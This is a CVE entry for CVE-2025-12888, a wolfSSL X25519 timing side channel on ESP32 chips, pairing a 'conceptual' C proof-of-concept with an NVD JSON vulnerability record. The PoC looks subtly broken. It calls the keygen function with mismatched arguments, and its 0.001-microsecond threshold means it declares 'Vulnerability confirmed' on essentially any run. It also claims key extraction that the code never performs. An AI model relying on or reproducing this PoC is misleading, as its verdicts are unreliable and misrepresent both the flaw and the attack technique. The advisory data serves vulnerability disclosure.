CVE-2025-12888

// CVE-2025-12888 Timing Side Channel Attack PoC (Conceptual) // This PoC demonstrates timing analysis against vulnerable X25519 implementations #include <stdio.h> #include <stdlib.h> #include <time.h> #include <wolfssl/options.h> #include <wolfssl/wolfcrypt/settings.h> #include <wolfssl/wolfcrypt/curve25519.h> #define NUM_SAMPLES 10000 #define TIMING_THRESHOLD 0.001 // microseconds // Timing measurement wrapper for X25519 key generation double measure_x25519_timing(word32* peerPublicKey, word32* outPublicKey, word32* outSecret) { struct timespec start, end; double elapsed; clock_gettime(CLOCK_MONOTONIC, &start); // Vulnerable: X25519 key generation with timing leak int ret = wc_curve25519_keygen(outPublicKey, outSecret, peerPublicKey); clock_gettime(CLOCK_MONOTONIC, &end); elapsed = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9; return elapsed; } // Statistical analysis to detect timing patterns int analyze_timing_pattern(double* samples, int n, double* mean, double* stddev) { double sum = 0.0; for (int i = 0; i < n; i++) sum += samples[i]; *mean = sum / n; double var = 0.0; for (int i = 0; i < n; i++) { double diff = samples[i] - *mean; var += diff * diff; } *stddev = sqrt(var / n); return 0; } // Differential timing analysis to extract key bits int timing_attack_analysis(word32* peerPublicKey) { double samples[NUM_SAMPLES]; word32 outPublicKey[8], outSecret[8]; printf("Collecting timing samples for CVE-2025-12888 analysis...\n"); for (int i = 0; i < NUM_SAMPLES; i++) { samples[i] = measure_x25519_timing(peerPublicKey, outPublicKey, outSecret); } double mean, stddev; analyze_timing_pattern(samples, NUM_SAMPLES, &mean, &stddev); printf("Mean: %.6f us, StdDev: %.6f us\n", mean * 1e6, stddev * 1e6); printf("Timing variance detected: %.6f us\n", stddev * 1e6); if (stddev * 1e6 > TIMING_THRESHOLD) { printf("[!] Vulnerability confirmed: Timing side channel detected\n"); printf("[*] Attacker can use statistical analysis to extract key material\n"); return 1; } return 0; } int main() { word32 peerPublicKey[8] = {0}; // Initialize wolfSSL wolfCrypt_Init(); // Perform timing attack analysis int vulnerable = timing_attack_analysis(peerPublicKey); if (vulnerable) { printf("[!] System is vulnerable to CVE-2025-12888\n"); printf("[*] Recommendation: Update wolfSSL to patched version\n"); } else { printf("[+] No significant timing leak detected\n"); } wolfCrypt_Cleanup(); return 0; }

{"cve": {"id": "CVE-2025-12888", "sourceIdentifier": "[email protected]", "published": "2025-11-21T23:15:44.970", "lastModified": "2025-12-04T16:07:14.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in X25519 constant-time cryptographic implementations due to timing side channels introduced by compiler optimizations and CPU architecture limitations, specifically with the Xtensa-based ESP32 chips. If targeting Xtensa it is recommended to use the low memory implementations of X25519, which is now turned on as the default for Xtensa."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:H/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.0, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-203"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:5.8.2:*:*:*:*:*:*:*", "matchCriteriaId": "A9A77590-75C8-4CF5-A5C6-4A8A1249E9FF"}]}]}], "references": [{"url": "https://https://github.com/wolfSSL/wolfssl/pull/9275", "source": "[email protected]", "tags": ["Broken Link"]}]}}